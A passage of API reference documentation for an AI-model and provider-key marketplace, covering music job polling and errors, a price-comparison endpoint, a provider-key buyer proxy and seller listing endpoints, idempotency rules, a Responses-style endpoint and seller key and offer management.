only) and `X-SI-Deprecation` (`MEDIA_STANDARDIZATION_MODE=shadow` only for unknown/unhonored params). Adapted or stripped async parameters are reported in the JSON response body's `adapted_params` array — async endpoints do **not** emit the sync-only `X-SI-Adapted-Params` header. See [Media Capabilities and Contracts](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated). Current Venice-backed examples include `venice-ace-step-15`, `venice-elevenlabs-music`, `venice-minimax-music-v26`, `venice-stable-audio-25`, `venice-elevenlabs-sound-effects-v2`, `venice-mmaudio-v2-text-to-audio`, and Venice audio TTS models. Query `/v1/models` and `/api/markets` for the live catalog and active order book. **Response - 202 Accepted (same envelope as video)** ```json { "id": "550e8400-e29b-41d4-a716-446655440000", "object": "media.job", "kind": "music", "status": "queued", "created": 1713200000, "expires_at": 1713200900, "estimated_cost_usdc": "30000", "max_cost_usdc": "33000", "poll_url": "/v1/music/generations/550e8400-...", "cancel_url": "/v1/music/generations/550e8400-...", "job_token": "mjt_abc123..." } ``` **Submit, poll, terminal** 1. **Submit**: Returns job id + poll\_url 2. **Poll**: 2s then back off to 10s 3. **Terminal**: completed, failed, or expired Music jobs expire after 15 minutes. Poll on the interval the submit response gives you rather than tightly - the job token in that response is what authorizes the poll. ## Poll Status GET /v1/music/generations/:id **Auth:** API key OR `X-Job-Token` header. **HTTP status:** `GET /v1/music/generations/:id` always returns HTTP `200` for an authorized job (pending or terminal); inspect the body `status` field. > **Rolling out.** The `error` object below is the shape the API is moving to. Until the rollout completes, > a terminal job may instead carry `type` set to its status (`"failed"`, `"canceled"`) and no `retryable` > field. Write your handler to tolerate both: treat a missing `retryable` as "safe to retry unless `type` is > `invalid_request`", and do not assume `error` is absent on a cancel. **The `error` object.** Present on a terminal job that failed, and absent on one that succeeded or was cleanly canceled. `type` comes from a closed vocabulary, so it is safe to branch on: | `type` | `retryable` | Means | | ------------------------ | ----------- | ------------------------------------------------------------------------------------- | | `invalid_request` | `false` | The request was refused on its merits. It will be refused again - change the request. | | `provider_error` | `true` | The job failed while it was being generated. | | `provider_unavailable` | `true` | The job could not be completed in time, or could not be confirmed with any provider. | | `expired` | `true` | The job passed its deadline before it completed. | | `execution_start_failed` | `true` | The job could not be started. | | `unknown` | `true` | The job failed without a reported reason. | `retryable` is the field to branch on rather than `type`: it is `false` for exactly one value today, and a new `type` added later will carry the right `retryable` without your code changing. You are not charged for a job that ends in any of these. **Why the search ran out.** A failed job with `marketplace_status: "exhausted"` tried every offer it could use and none accepted it. `exhausted_reason` says why the list of offers ended there: | `exhausted_reason` | Means | | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `price_bounded` | Other offers for the model passed every check but cost more than this job's price limit: your [minimum discount](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing), or what the job could reserve. `error.message` names the cheapest of them and what brings them back. | | `filtered` | Other offers were left out, or skipped without being tried, for another reason, such as health, trust, capability, your provider settings, or a seller key another offer had just shown was refused. | | `all_failed` | Every offer for the model was tried and failed. | `exhausted_reason` is absent when the search was stopped before it ran out (for example by the per-request attempt cap) and on jobs created before it existed. `marketplace_status` and `error.type` are unchanged. On `price_bounded`, each figure is measured the way its limit is checked, and appears only for that limit: - `cheapest_excluded_cost_usdc`, when your minimum discount left offers out: the lowest estimated cost among them, in µ$, like `estimated_cost_usdc`. A lower minimum discount lets the job fail over to them. - `cheapest_excluded_hold_usdc`, when what the job could reserve left offers out: the lowest amount one of them needed reserved, in µ$. It is a hold like `max_cost_usdc` (plus the reserve margin when the job is paid from your Balance), so it can be well above that offer's estimated cost. Adding funds to cover it lets the job fail over to it. Both are present when both limits left offers out. **Response** ```json { "id": "550e8400-...", "object": "media.job", "kind": "music", "status": "succeeded", "results": [ { "artifact_index": 0, "url": "https://api.surplusintelligence.ai/v1/media/artifacts/job-id/0", "content_type": "audio/mpeg", "duration_seconds": 60, "bytes": 1200000 } ], "usage": { "seller_cost_usdc": "30000", "buyer_cost_usdc": "30000", "settlement_status": "confirmed" } } ``` ## Cancel Job DELETE /v1/music/generations/:id Same as video. ## Errors | Status | Code | When | | ------ | -------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `400` | `invalid_request` | A malformed parameter or a prompt exceeding the character ceiling | | `400` | `unsupported_parameter` / `unsupported_parameter_value` / `unsupported_provider_value` | Unknown parameter key, out-of-domain value, or a value unhonored by all routable hosts | | `402` | `insufficient_credit` / `insufficient_balance` / `insufficient_allowance` | The job's `max_cost_usdc` is more than your [prepaid credit](https://www.surplusintelligence.ai/docs/payments/fiat) or [deposited USDC](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc) can cover. The two `insufficient_balance` / `insufficient_allowance` codes are legacy wallet-rail spellings of the same thing - settling from a wallet approval is no longer offered | | `402` | `account_frozen` / `org_frozen` / `org_closed` | The paying account is under review or closed | | `404` | `model_not_found` | The model is not in the media catalog | | `404` | `no_sellers_for_model` | No seller can serve this model on this endpoint. This includes a model whose only offers are listed against a host that does not run async music at all - those offers are excluded from routing rather than accepted and failed later, so the refusal arrives **before** you are charged | | `404` | `artifact_expired` | Artifact download requested after the job's retention window has elapsed | | `409` | `idempotency_key_reused` | `Idempotency-Key` was already used with a different request payload (enforced when `MEDIA_IDEMPOTENCY_STRICT_MODE=enforce`; while `off`, reusing a key replays the original job) | | `503` | `sellers_unavailable` / `no_healthy_sellers` | Sellers exist and can serve the endpoint, but none is currently healthy or able to accept this input. Retryable | A `404` is a statement about supply and will not fix itself on retry; a `503` is transient. ## Differences from Video - `expires_at` is authoritative (computed as `clamp(2 × p99RenderSec, 5m, 40m)` when declared, falling back to 15 minutes). - Poll schedule is faster: 2s initial, 10s cap. - Supports `lyrics_prompt`, `force_instrumental`, `voice`, and `language_code` where the selected Venice model supports them. - Seller validation and offer health use `/audio/quote` so onboarding does not spend provider credits on full generations. - `results[].url` is an authenticated URL on this API, exactly as for video - send `Authorization` or `X-Job-Token` and follow redirects. The retention window runs from when the job reached a terminal state (3 hours by default) and stored artifacts are purged within a day regardless, so download promptly. --- # /docs/api-reference/prices # Price Comparison API GET /v1/prices Public endpoint - no authentication required. Returns a price comparison matrix across all providers for every model in the marketplace. The endpoint takes no parameters and always returns the full matrix. Filter client-side on `models[].model`. **Examples** **Request** ```bash curl https://api.surplusintelligence.ai/v1/prices ``` **Response** ```json { "models": [ { "model": "grok-4.5", "displayName": "Grok 4.5", "modelProvider": "xAI", "providers": [ { "provider": "bankr", "providerName": "Bankr", "providerModelId": "grok-4.5", "pricing": { "input": 2, "output": 6, "cacheRead": 0.5, "webSearch": 0.005 } }, { "provider": "openrouter", "providerName": "OpenRouter", "providerModelId": "x-ai/grok-4.5", "pricing": { "input": 2, "output": 6, "cacheRead": 0.3, "webSearch": 0.005 } }, { "provider": "venice", "providerName": "Venice AI", "providerModelId": "grok-4-5", "pricing": { "input": 2.27, "output": 6.8, "cacheRead": 0.34 } } ] } ], "providers": ["anthropic", "bankr", "bedrock", "deepseek", "engy", "fireworks", "google", "groq", "jatevo", "mistral", "mordiem", "openai", "openrouter", "together", "uncensored", "venice", "zai"], "updated_at": "2026-09-15T13:00:00.000Z" } ``` ## Fields ### Model Entry - `model` (string): Standard marketplace model name - `displayName` (string): Human-readable name - `modelProvider` (string): Model creator (Anthropic, OpenAI, xAI, Google, etc.) - `providers` (array): Reference-pricing entries for catalog-mapped providers with publishable pricing for this model (see **Provider Entry**) - `mediaType` (string): Media class for media-metered models (optional; text models omit it) - `mediaPricing` (object): Per-unit media reference pricing (optional; present with `mediaType`; see **Media Pricing**) ### Provider Entry - `provider` (string): Provider key (e.g. `openrouter`) - `providerName` (string): Human-readable provider name - `providerModelId` (string): The model id as that provider names it - `pricing` (object): That provider's price entry (see below) ### Price Entry (`providers[].pricing`) `input`, `output`, `cacheRead`, `cacheWrite`, and `reasoning` are in **USD per 1M tokens**. Other optional fields state their own unit below. - `input` (number): Input/prompt token price - `output` (number): Output/completion token price - `cacheRead` (number): Cache hit price (optional) - `cacheWrite` (number): Cache creation price (optional) - `reasoning` (number): Thinking/reasoning token price (optional) - `webSearch` (number): Web-search price (optional) - **USD per web-search request**. Present only for providers that publish web-search pricing (currently `openrouter`, `bedrock`, and `bankr`); omitted elsewhere. - `image` (number): Image/media price (optional). For vision text models without `mediaUnit`, this is USD per 1M image tokens; when `mediaUnit` is present, this is USD per that unit. - `imageInputPerMp` (number): Image-input price in USD per megapixel (optional) - `imageOutputPerMp` (number): Generated-image price in USD per output megapixel (optional) - `mediaUnit` (string): Human-readable unit for `image` media pricing (optional), such as `image`, `1K characters`, `minute`, `1M tokens`, `job`, or `megapixel` > `providers[]` is ordered by `pricing.output`, ascending - the cheapest output price first. That ordering is a rough convenience, not a total cost ranking; compare entries yourself if you need a specific workload's cost. ### Media Pricing (`mediaPricing`) Media model rows use a separate mixed-unit pricing object. All fields are present as numbers; a value of `0` means that pricing dimension does not apply to the model. - `perImageUsd` (number): USD per generated image - `per1kCharsUsd` (number): USD per 1,000 characters - `perMinuteUsd` (number): USD per minute of media - `per1MTokensUsd` (number): USD per 1M tokens - `inputPer1MUsd` (number): USD per 1M input tokens - `outputPer1MUsd` (number): USD per 1M output tokens - `outputPerMpUsd` (number): USD per output megapixel **One model, many provider prices** - provider-a: $0.29 /1M out (cheapest output) - provider-b: $0.34 /1M out - provider-c: $0.58 /1M out (but may be cheaper on input) The array is sorted by output price as a convenience. It is not a total-cost ranking - your actual cost depends on your input/output mix, so sort it yourself if that matters. ## Caching The response is cached for **5 minutes** (`Cache-Control: public, max-age=300`). The `updated_at` field indicates when the response was generated - at most \~5 minutes before you received it. ## Reference-Pricing Providers The live `providers` array is the sorted set of provider keys that appear in at least one `providers[]` pricing row. A row is published only when the catalog maps the model to a recognized provider and a positive reference price is available. This is reference-pricing coverage, not seller onboarding or marketplace liquidity. A listed provider may have no active seller offer, and an onboarded seller/provider may be absent. Do not use this array to infer current availability, offer count, or provider health; treat the live response as the source of truth for the current reference-pricing set. ## Interactive Price Table See the [live price comparison API](https://api.surplusintelligence.ai/v1/prices) for the current machine-readable matrix. Treat that response as the source of truth for current provider rows and counts. --- # /docs/api-reference/resources # Provider key endpoints The Provider Market's surface: the buyer proxy that calls a provider on someone else's key, the public discovery reads, and the seller endpoints that list a key. Base URL `https://api.surplusintelligence.ai`. Guides: [your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling), [listing your key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-listing). ## The buyer proxy POST /v1/resources/{resource}/{path...} Calls `{resource}` on a seller's key. `GET`, `POST` and `PUT` are all accepted - the method and the path are the **provider's own**, and what is reachable is decided per provider. `{resource}` is the provider's id. Ten providers are live, and `GET /api/markets/keys` lists them with their ids (see [Discovery](https://www.surplusintelligence.ai/docs/api-reference/resources#discovery)). **The path shape differs by provider.** Every provider except Fal is path-style: the provider's own path goes straight on. Fal is header-style: the path must be **empty** and the target rides in `x-fal-target-url`. A path on Fal is refused `unexpected_path`. Authenticate with your Surplus API key. The market is **prepaid credit only** and never falls through to the on-chain rail. ### Request headers - `Authorization` (string, required): `Bearer `. - `x-fal-target-url` (string): **Fal only, and required there.** The absolute `https` target on `fal.run` or `queue.fal.run`. - `X-SI-Require` (string): Comma-separated traits the serving account must claim, e.g. `capacity.dedicated,residency.eu`. No offer claims all of them ⇒ `trait_unavailable`. - `Idempotency-Key` (string): Optional, up to 255 characters. **Being enabled:** until it is, the header is ignored and a repeat is a second real generation, billed as one. Once enabled, a key makes one upstream call and one charge for 24 hours (per account, or per paying wallet on x402): the same call again is answered with the first answer and `Idempotency-Replayed: true`, and charged nothing. Every call under this path takes it, job submits and embeddings included (a job's polls and result are not deduped). See [Idempotency-Key](https://www.surplusintelligence.ai/docs/api-reference/resources#idempotency-key) below. ### Response headers - `x-si-buyer-cost-micro` (integer): What you were charged, in microdollars. - `x-si-list-cost-micro` (integer): What the provider would have billed direct. The difference is your saving. - `x-si-adapted-params` (string): The request fields Surplus set for you. On a chat call that sent no output cap, it names the cap field we added (a 4,096-token cap, or the model's context if that is smaller). All three are CORS-exposed. A successful call is charged the provider's reported usage or the quote, whichever is lower, and at least 1 µ$ when it cost anything. A call the provider answers with an error is charged **nothing**, on prepaid credit and on the x402 rail alike. Two cases are charged the quote, because the provider may still bill the seller for the work: a call the provider did not answer in time (`504 resource_upstream_timeout`), and a streamed answer that ends without usable usage (it broke off, carried no usage, or you stopped reading). Retry a timed-out call only if you accept a second charge: once `Idempotency-Key` dedupe is enabled, a retry with the same key is refused `409 idempotency_replay_unavailable` and charged nothing, so a second run needs a new key. **Three providers, one key** **ElevenLabs** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/sound-generation \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"text":"a short soft chime","duration_seconds":1}' \ --output chime.mp3 ``` **Wavespeed** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/wavespeed-ai/flux-schnell \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"prompt":"a tiny blue paper boat","size":"1024*1024"}' ``` **Fal** ```bash # EMPTY path — the target is the header. curl -X POST https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "x-fal-target-url: https://fal.run/fal-ai/flux/schnell" \ -d '{"prompt":"a tiny red origami crane","image_size":"square"}' ``` ### The minimum-discount mirror POST /min{N}/v1/resources/{resource}/{path...} Identical, except only offers at least **N%** off are considered. Nothing that cheap ⇒ `no_resource_offer` rather than a worse price. See [minimum-discount routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). ### The x402 rail POST /x402/resources/{resource}/{path...} The same proxy, paid per call with an x402 payment proof instead of prepaid credit - no Surplus key needed. Fal's queue is not available on this rail: a model that must be queued answers `job_route_required` telling you to use an API key. `GET /.well-known/x402` advertises the rail. A successful call settles its charge plus the flat fee (`flat_fee_micro` in `GET /x402/info`). A call the provider answers with an error is charged **nothing**: the payment is never settled. A call the provider did not answer in time settles its quote plus the flat fee. ## Idempotency-Key **This is being enabled.** Until it is, `Idempotency-Key` is ignored on the buyer proxy, and a repeated call is a second real generation, billed as one. Once enabled, every call under `/v1/resources/{resource}/…` (and its `/min{N}` and x402 forms), job submits and embeddings included, takes an optional `Idempotency-Key`. A call that sends one is claimed for 24 hours, per account (per paying wallet on x402) and key: | You send | You get | | ---------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | The same call again (method, path including any `/min{N}` prefix, query and body) | The first answer, its status, body and `x-si-*` headers, plus `Idempotency-Replayed: true`. No upstream call and no charge. The cost headers describe the original charge. A stream comes back as one body with the same bytes. | | The same key while the first call is still running | `409 idempotency_in_progress`. Retry shortly. | | The same key with a different call | `422 idempotency_key_reused`. Nothing is sent or charged. | | The same key after a call whose answer was not kept | `409 idempotency_replay_unavailable`, naming the first request's id. No upstream call and no charge. | | The same key after a call refused before any charge (no credit, no offer, every seller failed) | The call runs again: the refusal released the key. | - **What is replayed.** Whatever the provider answered, an error included: a provider error was charged nothing and is replayed as the same error. A job submit's answer (the job id and its URLs) is replayed too. Its follow-ups (polls and the result) are not deduped and work as before. `x-surplus-webhook-secret` comes only with the first answer, so keep it. - **What is not kept:** the answer to a secret-masked call, a zero-data-retention call (a ZDR key, its `data.zdr` scope, or `X-SI-Require: data.zdr`), an answer over 4 MiB, a stream that ended early, and a timed-out call (`504 resource_upstream_timeout`, charged its quote). A repeat of these gets `409 idempotency_replay_unavailable`. - **x402.** A repeat needs a fresh payment authorization, because the first is single-use. A replay, a 409 or a 422 never settles it. - **The Requests log.** A replay writes no entry. - **Other errors.** A key over 255 characters is `400 idempotency_key_invalid`. If the key cannot be checked, the call is refused `503 idempotency_unavailable` before anything runs; retry. - **Storage.** Sending the key asks us to keep that one answer, encrypted, for 24-48 hours so it can be replayed. A secret-masked call's or a zero-data-retention call's answer is never kept. ## Errors Every refusal names one cause, so you can tell whose problem it is. | Code | Status | Meaning | | -------------------------------- | ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `unexpected_path` | 400 | A header-style provider was given a path. | | `provider_unpriceable` | 400 | Cannot be priced, so it is refused rather than guessed. | | `job_route_required` | 400 | This model can run for minutes - submit it to the provider's queue. | | `insufficient_credit` | 402 | Add prepaid credit. Nothing was reserved. | | `platform_route_refused` | 403 | The platform fence. Never reachable, for any seller. | | `policy_refused` | 403 | Offers exist; no seller's rules allow this call. | | `no_resource_offer` | 503 | Nobody lists this provider, or none meets your `min{N}`. | | `job_not_found` | 404 | Not your job, or its 27-hour binding expired. | | `trait_unavailable` | 503 | Nobody advertises what you required. | | `seller_cap_reached` | 503 | Every capable offer spent its cap. Resets 00:00 UTC. | | `offers_unhealthy` | 503 | Offers exist, but every capable one is paused or backed off right now. | | `resource_upstream_failed` | 502 | Every seller tried failed upstream; nothing was charged. On `api.surplusintelligence.ai` the edge may replace this body with a generic error page, so key on the 502 status, and retry. | | `resource_upstream_timeout` | 504 | The provider did not answer in time and may still be running the call, so it was charged its quote. As with the 502, the edge may answer with a generic error page. | | `idempotency_key_invalid` | 400 | The `Idempotency-Key` is longer than 255 characters. | | `idempotency_in_progress` | 409 | A call with this `Idempotency-Key` is still running. Retry shortly. | | `idempotency_replay_unavailable` | 409 | This key already ran and its answer was not kept. Nothing was sent or charged again. | | `idempotency_key_reused` | 422 | This key was used with a different call. Use a new key. | | `idempotency_unavailable` | 503 | The key could not be checked, so nothing ran. Retry. | ## Discovery No authentication - these are the public book. - `GET /api/markets/keys` (public): Every Provider Market provider: its id, unit, live and healthy offer counts, the best discount that can serve right now, the capabilities sellers serve, and each live offer in the order the router fills them. Cached 60 seconds. - `GET /v1/resource/capabilities` (public): The capability catalogue a seller scopes a listing with. Cached 5 minutes. - `GET /v1/resource/traits` (public): What a buyer may require with `X-SI-Require`, and each trait's provenance. Cached 5 minutes. - `GET /v1/resource/market/analytics` (public): Market-wide volume and savings. `GET /v1/resource/markets` is not the Provider Market list: it covered only the older x402 resource relays, which were retired on 2026-11-20. **GET /api/markets/keys** **cURL** ```bash curl https://api.surplusintelligence.ai/api/markets/keys ``` **Response (trimmed)** ```json { "listings": [ { "resource_id": "elevenlabs", "provider": "ElevenLabs", "unit": "per 1k characters", "status": "live", "discount_percent": 50, "healthy": true, "active_offers": 3, "healthy_offers": 3, "capabilities": ["elevenlabs.speech", "elevenlabs.music"] } ] } ``` ## Buyer reads These need your Surplus API key. - `GET /v1/resource/book/{provider}`: One provider's book as the router sees it for you: the live offers, their discounts and whether they can serve you. Add `?require=` with trait ids to see which offers meet them; an unknown trait id is refused. - `GET /v1/resource/access`: Whether your account may buy on the Provider Market right now, and why not if it may not. - `GET /v1/resource/buyer/analytics`: Your spend and savings on provider keys. ## Seller endpoints All under `/v1/resource/seller`, all requiring a seller-authenticated key. - `POST /v1/resource/seller/keys/probe` (free): Validate a provider key before listing it. Body `{ resource_id, api_key }`. The key is used once and **never stored**. A bad key answers `200` with `ok: false`. - `POST /v1/resource/seller/offers`: List a key. `resource_type` and `api_key` are required, `discount_percent` is a whole number **5–80**, and both `ack_persists_state` and `ack_provider_terms` must be `true`. - `GET /v1/resource/seller/offers`: Your listings. **Never** includes the key or any fragment of it. - `PATCH /v1/resource/seller/offers/{id}`: Reprice, re-cap, re-scope or pause. - `DELETE /v1/resource/seller/offers/{id}`: Delist, releasing the uniqueness claim. - `POST /v1/resource/seller/offers/{id}/purge`: Delist and destroy the stored credential. - `DELETE /v1/resource/seller/offers`: Delist everything. - `GET /v1/resource/seller/analytics`: Earnings, and the demand your own rules refused. A credential may back one active offer **per model, per base URL**, across every workspace and organization. A second is refused `409 duplicate_offer_for_credential`. Key listings take `api_key` only (`api_secret` ⇒ `api_secret_unsupported`) and are priced by `discount_percent` only (`pricing_multiplier` ⇒ `pricing_multiplier_unsupported`). **Probe, then list** **Probe** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resource/seller/keys/probe \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"resource_id":"elevenlabs","api_key":""}' ``` **Create** ```bash curl -X POST https://api.surplusintelligence.ai/v1/resource/seller/offers \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $(uuidgen)" \ -d '{ "resource_type": "elevenlabs", "api_key": "", "label": "Spare ElevenLabs capacity", "discount_percent": 50, "cap_daily_usd": 25, "ack_persists_state": true, "ack_provider_terms": true }' ``` **Response** ```json { "id": "roff_01JC…", "resource_type": "elevenlabs", "discount_percent": 50, "active": true } ``` ## Related - [Your first call](https://www.surplusintelligence.ai/docs/marketplace/provider-market-calling) - the end-to-end buyer path. - [Jobs and settlement](https://www.surplusintelligence.ai/docs/marketplace/provider-market-jobs) - async jobs and when money moves. - [Access rules](https://www.surplusintelligence.ai/docs/marketplace/provider-market-access) - why a call is or is not reachable. - [Listing your key](https://www.surplusintelligence.ai/docs/marketplace/provider-market-listing) - the seller path. --- # /docs/api-reference/responses # Responses API POST /v1/responses > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/responses`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). Surplus Intelligence exposes an OpenAI Responses-style text endpoint for clients that use the Responses wire protocol. Requests still route through the SI marketplace: API-key auth, x402 payment challenges, seller selection, usage logging and accounting use the same path as chat completions. ## Basic request A minimal Responses call. The response shape follows the OpenAI Responses format: a `response` object with a `status`, an `output` array of messages, and token `usage`. **Basic request** **cURL** ```bash curl https://api.surplusintelligence.ai/v1/responses \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.7", "input": "Reply with exactly PONG.", "max_output_tokens": 16 }' ``` **Response** ```json { "object": "response", "status": "completed", "output": [ { "type": "message", "role": "assistant", "content": [{ "type": "output_text", "text": "PONG" }] } ], "usage": { "input_tokens": 12, "output_tokens": 3, "total_tokens": 15 } } ``` **Native lane versus bridged lane** - **Native Responses seller**: Your body forwarded as-is. Hosted tools and replayed reasoning survive. - **Bridged to a chat seller**: Translated to the chat form. Hosted tools and opaque reasoning items are dropped. A seller that speaks the Responses wire gets your body verbatim. One that does not is reached through a translation, which cannot carry everything - replayed encrypted reasoning above all. ## Streaming Set `"stream": true` to receive Responses-style SSE events such as `response.created`, `response.output_text.delta`, and `response.completed`. Usage needs no separate opt-in: when token counts are available, the terminal `response.completed`, `response.incomplete`, or `response.failed` event carries them on `response.usage`. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. **Streaming request** ```bash curl -N https://api.surplusintelligence.ai/v1/responses \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.7", "input": "Count to 3.", "stream": true, "max_output_tokens": 32 }' ``` ## Provider compatibility Some sellers support native `/responses` upstream; others only support `/chat/completions`. SI treats `/responses` as the buyer-facing contract and translates internally when needed: - Native Responses sellers, such as Venice for supported models, receive `/responses` requests directly. - Chat-only sellers, such as Bankr's LLM gateway, remain usable through Responses ↔ Chat Completions translation. - If a seller marked Responses-capable returns `404`, `405`, or `501`, SI records capability drift and falls back to chat translation when possible instead of marking the whole seller unhealthy. ## Codex configuration For OpenAI Codex clients that require the Responses wire API. Full OpenAI hosted tools such as file search, computer use, code interpreter, and server-side `previous_response_id` state are not part of the first compatibility version. **Codex config** ```toml [model_providers.surplus] name = "Surplus Intelligence" base_url = "https://api.surplusintelligence.ai/v1" env_key = "SURPLUS_API_KEY" wire_api = "responses" ``` --- # /docs/api-reference/seller-endpoints # Seller Endpoints All seller endpoints require authentication via one of: - `si_seller_` API key: `Authorization: Bearer si_seller_xxx` (programmatic access) - Privy session cookie (web UI) A `si_seller_` key **cannot** access buyer endpoints, and vice versa. Session cookies work for both. > **Everything you can do in the seller dashboard, you can do here over the API.** The dashboard is a pure client of this API, so managing keys, offers, pricing, health, earnings, and payouts are all HTTP calls you can script with no browser. Seller keys support **create, list, and revoke**; offers have a full lifecycle (create, read, update, deactivate, bulk create, bulk cancel, bulk update, reset health, rotate credential, check again). ## Authentication - SIWE (Sign-In With Ethereum) Get a seller API key using wallet signature auth. No browser needed. ### Get Challenge GET /v1/seller/auth/challenge Returns a SIWE message with nonce and 5-minute expiry. The message must be signed and returned within 5 minutes. The server validates `domain`, `uri`, `chainId`, `issuedAt` (must be within ±5min of server time), and `expirationTime` (max 10min from `issuedAt`). **Get challenge** **Request** ```bash GET /v1/seller/auth/challenge?address=0xYourWallet ``` **Response** ```json { "message": "www.surplusintelligence.ai wants you to sign in...", "nonce": "abc123def456", "expires_at": 1713312000000 } ``` ### Issue Key POST /v1/seller/auth/keys Exchange the signed SIWE message for a seller API key. Save the returned key - it will not be shown again. **Issue key** **Request** ```bash POST /v1/seller/auth/keys { "message": "", "signature": "0x...", "label": "my-bot", // optional "expires_at": 1713398400000 // optional, ms timestamp } ``` **Response** ```json { "key": "si_seller_abc123def456...", "id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", "wallet": "0xYourWallet", "label": "my-bot", "created_at": 1713312000000 } ``` The secret is the `key` field, shown once. `expires_at` is present only if you set one on the request. ### Manage Keys Once you hold one seller key (or a web session), you can mint and manage more programmatically, no browser required. Seller keys support **create, list, and revoke**. (Rename and per-key routing preferences are buyer-only, since a seller key carries no routing config.) POST /v1/seller/keys Create another `si_seller_…` key (up to 25 active per wallet). Requires an `Idempotency-Key` header. The secret is in the `key` field of the response, shown once. GET /v1/seller/keys List keys, redacted (`id`, `key_prefix`, `label`, `created_at`, plus `last_used_at` / `revoked_at` when set). `last_used_at` is kept to within about five minutes of the key's latest use. An existing seller key or web session authorizes this. DELETE /v1/seller/keys/{keyId} Revoke a key. Irreversible; returns `204`. **Manage keys** **Create** ```bash POST /v1/seller/keys Authorization: Bearer si_seller_xxx Idempotency-Key: 9f8c1e2b-... # required { "label": "batch-bot" } # → { # "id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", # "key": "si_seller_9f8c1e2b...", # shown once # "key_prefix": "si_seller_9f8c1e2b", # "label": "batch-bot", # "created_at": 1713312000000 # } ``` **List** ```bash GET /v1/seller/keys Authorization: Bearer si_seller_xxx ``` **Revoke** ```bash DELETE /v1/seller/keys/{keyId} Authorization: Bearer si_seller_xxx ``` ## Offers POST /v1/seller/offers Create offer. PATCH /v1/seller/offers/{id} Update price/caps. DELETE /v1/seller/offers/{id} Deactivate / soft-delete (encrypted key is retained; revoke at provider for immediate key invalidation). GET /v1/seller/offers List my offers (filter with `?model=`, `?status=active|paused|inactive`; paginate with `max_items` / `next_token`). GET /v1/seller/offers/{id} Read one offer (status, health, price, caps). Every offer returned (list, read, update) also carries: - `discount_pct`: its discount off the model's live reference price, percent to two decimals; `null` when the model has no reference price, never 0. - `provider`: the provider family of its base URL (`anthropic`, `openrouter`, …; `unknown` when unmapped), and `route_kind`: `direct`, `aggregator`, or `cloud` (Vertex, Bedrock), `null` when not stated. - `credential_kind` (such as `anthropic_api_key`, else `api_key`) and its display `credential_prefix` (`sk-ant`). Absent on older offers until their key is rotated. - The last recorded failure: `last_error_category` (`auth`, `rate_limit`, `server_error`, `timeout`, or `bad_response`), `last_status_code`, and `last_error_at`, plus `last_probe_at` and, while unhealthy, `unhealthy_since`. The last error stays after the offer recovers; `healthy` says whether it applies now. To deactivate every active offer at once, use `POST /v1/seller/offers/bulk-cancel`; to deactivate a selection, use `POST /v1/seller/offers/bulk-update` with `action: "cancel"` (see [Offer operations](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#offer-operations)); otherwise remove them one at a time. ### One offer per credential, base URL and model The same API key can back as many **different** models as you like - that is the normal case and nothing about it changes. What is refused is a *second active offer for the same model* on the same key and base URL, whoever owns it: the rule is global across workspaces and organizations. A conflict returns `409 duplicate_offer_for_credential`. When the existing offer is your own, the response carries its `offer_id` in `error.detail` so you can update or delete it instead of creating a duplicate; when it belongs to someone else, no identifier is returned. The same rule applies to anything that brings an offer back into the active set - reactivating a paused offer, or rotating a credential onto a key that already serves that model. Deleting or deactivating an offer frees its slot, so the key can be relisted for that model straight away; if a slot ever appears stuck, the next listing attempt reclaims it automatically. When the conflicting offer is your own, its id is returned as `error.detail.existing_offer_id`. In bulk creation, a conflicting row comes back as `status: "error"` with `duplicate_offer_for_credential` in the message; retrying will not change the outcome. ### Offers Surplus has delisted An operator can delist an offer whose **provider endpoint cannot serve the model it is listed for** - for example a video model listed against a host that exposes no video API at all. Such an offer can never complete a job: every request routed to it fails after the buyer has been quoted. Automatic refusal of these at *creation* time is currently running in **shadow** - it is logged, not enforced, so listing one still succeeds today. Routing already declines to send async jobs to a host that cannot serve them, so buyers are protected either way. A delisted offer stays visible and editable, but setting `status: "active"` on it returns **`400 offer_delisted_by_operator`** and it is not restored by rotating its credential. It is not a pause you can undo. List the model against a provider that serves it, or contact support if you believe the endpoint does work. **Offers Surplus retired for failing can come back.** Surplus also delists an offer on its own when it has failed more than 100 times in a row and been unhealthy for at least 7 days. The offer is **retired**: it leaves the market with `delisted_reason` set to `system:chronic_failure`, and it does not come back on its own. Unlike an operator delist, you can reverse it: - If the same key works again (for example a monthly plan that has refilled), call `POST /v1/seller/offers/{id}/check-again` (see [Offer 